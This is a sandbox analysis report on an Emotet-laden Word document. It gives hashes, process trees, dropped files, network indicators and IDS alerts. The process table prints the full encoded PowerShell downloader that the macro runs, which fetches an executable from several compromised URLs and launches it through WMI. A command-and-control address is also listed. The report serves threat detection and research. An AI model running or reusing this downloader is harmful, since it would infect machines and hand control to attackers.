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File name:

PO_10202020EX.doc

Full analysis: https://app.any.run/tasks/9ec38ff1-e7d6-436e-97f4-e165516e6199
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: October 20, 2020, 03:41:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
emotet
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: At., Author: La Fontaine, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Oct 19 20:04:00 2020, Last Saved Time/Date: Mon Oct 19 20:04:00 2020, Number of Pages: 1, Number of Words: 2141, Number of Characters: 12206, Security: 8
MD5:

C8B1C6655ED715C6AE9FBC1AF27FB200

SHA1:

4249EA778F47A4EA4426A6C31807D2EB264A1ECF

SHA256:

B115C55302DEEAE4E7E088C8DD801349C25089E867DC300251BB75936F96260F

SSDEEP:

3072:sJivKie6B/w2yiWydwPb/80I6tIZtDPI+W9Sd+l4PJhERTM5/oKUQ2t1q2cu/9ha:sJiP/w2PzitIZtDPI+W9Sd+l4PJhERT6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Yzsk_77.exe (PID: 2656)
      • rasauto.exe (PID: 1832)

    • Connects to CnC server

      • rasauto.exe (PID: 1832)

    • EMOTET was detected

      • rasauto.exe (PID: 1832)

    • Changes the autorun value in the registry

      • rasauto.exe (PID: 1832)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 2376)
      • Yzsk_77.exe (PID: 2656)

    • PowerShell script executed

      • POwersheLL.exe (PID: 2376)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 2376)

    • Executed via WMI

      • Yzsk_77.exe (PID: 2656)
      • POwersheLL.exe (PID: 2376)

    • Reads Internet Cache Settings

      • rasauto.exe (PID: 1832)

    • Starts itself from another location

      • Yzsk_77.exe (PID: 2656)

    • Connects to server without host name

      • rasauto.exe (PID: 1832)

  • INFO

    • Reads settings of System Certificates

      • POwersheLL.exe (PID: 2376)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1944)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
LocaleIndicator: 1033
CodePage: Unicode UTF-16, little endian
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 15
CharCountWithSpaces: 14319
Paragraphs: 28
Lines: 101
Company: -
Security: Locked for annotations
Characters: 12206
Words: 2141
Pages: 1
ModifyDate: 2020:10:19 19:04:00
CreateDate: 2020:10:19 19:04:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Léa Fontaine
Subject: -
Title: At.
No data.
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
4
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe yzsk_77.exe #EMOTET rasauto.exe

Process information

PID
CMD
Path
Indicators
Parent process
1944"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PO_10202020EX.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2376POwersheLL -ENCOD UwBFAFQAIABBAGIAaQAgACAAKABbAHQAeQBwAGUAXQAoACcAUwB5AFMAdABFACcAKwAnAG0ALgBJAG8ALgBkAEkAUgBFACcAKwAnAEMAJwArACcAdAAnACsAJwBPAHIAWQAnACkAIAAgACkAIAAgADsAIAAgAFMAZQBUAC0AdgBBAHIASQBhAGIAbABFACAAIAA2AEkATwAgACAAKAAgACAAWwBUAFkAcABFAF0AKAAnAFMAJwArACcAWQBzAHQAZQBtAC4AbgBlACcAKwAnAFQALgBzAEUAJwArACcAcgB2AEkAYwBlAFAAJwArACcAbwBJAG4AdABNAGEATgAnACsAJwBhACcAKwAnAEcAJwArACcAZQBSACcAKQAgACkAOwAgAHMAVgAgACAAKAAnADQAMABuACcAKwAnADcAQQAnACkAIAAgACgAIAAgAFsAdAB5AHAARQBdACgAJwBzACcAKwAnAHkAcwBUAEUAbQAnACsAJwAuACcAKwAnAG4ARQBUAC4AUwAnACsAJwBFAEMAJwArACcAVQByAEkAVAB5AHAAcgAnACsAJwBPAFQAbwBDAE8ATAAnACsAJwB0AHkAJwArACcAUABFACcAKQAgACAAKQAgADsAIAAkAEcAZQBoADYAdQB6AF8APQAoACcAQgAnACsAJwBzAGgAXwAnACsAJwBsAHIAXwAnACkAOwAkAEsAdQBmADgAaQAzAHkAPQAkAEoAMQA0AGcAeABkAGEAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABVADYAawB6ADUAcQBiADsAJABBAGQAeABlAHYANAB4AD0AKAAnAEcAZQBqAHMAJwArACcAdwBtADgAJwApADsAIAAgACgAIABHAEUAVAAtAEMAaABJAEwAZABJAHQAZQBtACAAVgBhAHIAaQBBAEIAbABlADoAQQBCAEkAKQAuAFYAYQBMAHUARQA6ADoAQwBSAEUAYQBUAGUAZABJAHIAZQBDAHQATwBSAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAEQAagAnACsAJwBxAGsAYQA0ACcAKwAnAG0AewAwAH0AJwArACcAQgAnACsAJwBnAGcAJwArACcANQA2AHkAJwArACcAdAB7ADAAfQAnACkALQBmAFsAQwBoAGEAUgBdADkAMgApACkAOwAkAEUAdQBxAGYANgBtAHAAPQAoACcARABjAGMAMQBwACcAKwAnAGwAJwArACcAcwAnACkAOwAgACgAIAAgAEcAZQBUAC0AdgBhAHIAaQBBAEIATABFACAANgBpAE8AIAApAC4AVgBhAEwAVQBFADoAOgBzAGUAYwBVAFIAaQBUAHkAcABSAE8AdABPAGMAbwBMACAAPQAgACAAIAAkADQAMABuADcAQQA6ADoAdABsAFMAMQAyADsAJABMAHIAMABpADUANwBiAD0AKAAnAEIAJwArACcAbgAnACsAJwA4AHMANgBzAHQAJwApADsAJABZAGUAYwBtADYAXwBrACAAPQAgACgAJwBZAHoAcwBrACcAKwAnAF8ANwA3ACcAKQA7ACQAUgBxAF8AcwAxADgAYgA9ACgAJwBRACcAKwAnAHgAYwBmAG8AeQAnACsAJwAzACcAKQA7ACQATgA3AGMAcwBwADgAbQA9ACgAJwBPAHgAJwArACcAMwAxADUAaQB4ACcAKQA7ACQASwBiADgAOQBwAGQAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFMAZwBEACcAKwAnAGoAcQBrAGEAJwArACcANABtAEMAJwArACcAUwBnAEIAJwArACcAZwBnADUANgAnACsAJwB5AHQAQwAnACsAJwBTAGcAJwApACAALQBjAFIARQBQAGwAQQBDAGUAIAAgACcAQwBTAGcAJwAsAFsAQwBoAGEAcgBdADkAMgApACsAJABZAGUAYwBtADYAXwBrACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABQAGoAdABuADcAdQA2AD0AKAAnAEkAMAA3AGgAcQAnACsAJwBvAGMAJwApADsAJABTAHAAbwB1ADcAMwB3AD0AbgBlAGAAdwAtAE8AYABCAGoAZQBjAFQAIABuAEUAdAAuAFcAZQBiAEMATABJAEUAbgBUADsAJABEAHkAZgBmAF8AeABhAD0AKAAnAGgAJwArACcAdAB0AHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwBvAG4AJwArACcAZQBwAGEAbABhAHQAZQAuAGIAaQAnACsAJwB6AC8AdwBwAC8AWQB1AFUAJwArACcAYwBwAHoATQAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoAJwArACcALwAvAHcAZQBiAGQAYQAnACsAJwBjAGgAaQBlACcAKwAnAHUALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAEoAJwArACcALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcwBtACcAKwAnAGEAbAAnACsAJwBsAGIAJwArACcAYQB0ACcAKwAnAGMAaABsAGkAJwArACcAdgBpACcAKwAnAG4AZwAnACsAJwAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AdQBjACcAKwAnAGMARQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwByAGkAYwAnACsAJwBoACcAKwAnAGUAbABsAGUAbQBhACcAKwAnAHIAaQAnACsAJwBlACcAKwAnAC4AYwBvAG0AJwArACcALwB3AHAALQBhAGQAbQBpAG4ALwB4AGwAVABXACcAKwAnAFcALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAcgBpACcAKwAnAGMAaABlACcAKwAnAGwAbABlAHMAaABhAGQAbwBhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAFUAYwByAGsAJwArACcAYwB2ACcAKwAnAHAALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AaABvACcAKwAnAGwAbwBuACcAKwAnAGMAaAAnACsAJwBpAGwAJwArACcAZQAuAGMAbAAvAHAAdQAnACsAJwByAGUAbABvACcAKwAnAHYAZQAnACsAJwAvAFkANAAvACcAKwAnACoAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBhACcAKwAnADIAegBhACcAKwAnAHIAYwAnACsAJwBoAGkAdABlAGMAdAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8ATAAnACsAJwBBAHMAMABQAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcgBhAHUAbQBmAHUAZQByAG4AZQB1AGUAcwAuACcAKwAnAGUAJwArACcAdQAnACsAJwAvACcAKwAnAGUAcgByAG8AJwArACcAcgAvAEEAJwArACcAdQAnACsAJwBUAGkASAAvACcAKQAuAHMAUABsAEkAVAAoACQAWABnADMAZAA0AG8AawAgACsAIAAkAEsAdQBmADgAaQAzAHkAIAArACAAJABEAG4AMABkAGYAbABmACkAOwAkAEEAcwB0AGUAZgBvAHEAPQAoACcAQQA5ACcAKwAnAGYAcgBiACcAKwAnAGUAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbABvAHYAdAByAG4AIABpAG4AIAAkAEQAeQBmAGYAXwB4AGEAKQB7AHQAcgB5AHsAJABTAHAAbwB1ADcAMwB3AC4ARABvAHcATgBMAG8AYQBEAGYAaQBsAEUAKAAkAEkAbABvAHYAdAByAG4ALAAgACQASwBiADgAOQBwAGQAbwApADsAJABPAHMANAB4AHEAdAAzAD0AKAAnAFoAMwAnACsAJwBpAHQAdwAnACsAJwAzAGEAJwApADsASQBmACAAKAAoAGcAYABFAFQAYAAtAEkAVABFAE0AIAAkAEsAYgA4ADkAcABkAG8AKQAuAGwARQBOAGcAdABIACAALQBnAGUAIAAyADMAOQAwADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAbwBjACcAKwAnAGUAcwBzACcAKQApAC4AYwBSAGUAQQB0AEUAKAAkAEsAYgA4ADkAcABkAG8AKQA7ACQATABoADAANgA5AGYAdAA9ACgAJwBWAGQANwAnACsAJwBpACcAKwAnADQAMgBhACcAKQA7AGIAcgBlAGEAawA7ACQAVQB0AHkAcwBzADAAcgA9ACgAJwBJAGcAbgAnACsAJwBmADgAJwArACcAbQBqACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAB6AHYAOABpAGwAeAA9ACgAJwBHADgAeABwACcAKwAnADcAXwAnACsAJwBnACcAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2656C:\Users\admin\Djqka4m\Bgg56yt\Yzsk_77.exeC:\Users\admin\Djqka4m\Bgg56yt\Yzsk_77.exe
wmiprvse.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1832"C:\Users\admin\AppData\Local\NlsLexicons081a\rasauto.exe"C:\Users\admin\AppData\Local\NlsLexicons081a\rasauto.exe
Yzsk_77.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 981
Read events
1 060
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
1944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR40E6.tmp.cvr —
MD5:—
SHA256:—
2376POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JODWRJ65BHO6MJ3H5XUM.temp —
MD5:—
SHA256:—
1944WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D27EA7D59AE43E34B05EFAE9785CAF01
SHA256:15969DADA148AC81D2676926E4BD3543B21E9E654E9FEF60AC9222126B65AB37
1944WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\PO_10202020EX.doc.LNKlnk
MD5:11386A8032ED2B233AD27DB16FF7A54D
SHA256:6A1F16C82DEEDCA7F080C7946F5D83FA58A31F5FFE730B22BEB5562BA838E693
1944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:911BCB10C3552818416927A9A40B9412
SHA256:5DC510CBA8C29BAD8BD16C1EA28D24CBFF9D2B988308E00CCBEE2340610C1050
2376POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
2376POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d52e7.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
1944WINWORD.EXEC:\Users\admin\Desktop\~$_10202020EX.docpgc
MD5:9ACE7B27E3CD0A6BB9148BC923013734
SHA256:571B4104AD23F08A2E60B5C9656962DACC38CB0B059B5700E53C43324808252A
1944WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:D7C86B1776A6D6696045A459571BDD12
SHA256:CF6466238E767688C6729150C318B38782DD16554ED364B3C3793100896DAB54
2656Yzsk_77.exeC:\Users\admin\AppData\Local\NlsLexicons081a\rasauto.exeexecutable
MD5:CADBC783F0C58034ACA8C7EE4DE3D039
SHA256:EB91C1391BB923F3C93B0DDCFDE23FEE20263C1008DC515005C53C064F6811A5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1832
rasauto.exe
POST
200
24.230.141.169:80
http://24.230.141.169/a5hAlY/
US
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2376
POwersheLL.exe
111.90.135.17:443
onepalate.biz
Shinjiru Technology Sdn Bhd
MY
unknown
1832
rasauto.exe
24.230.141.169:80
—
Midcontinent Communications
US
malicious

DNS requests

Domain
IP
Reputation
onepalate.biz
  • 111.90.135.17
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO Observed DNS Query to .biz TLD
1832
rasauto.exe
A Network Trojan was detected
MALWARE [PTsecurity] Emotet
1 ETPRO signatures available at the full report
No debug info
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Reports
PO_10202020EX.doc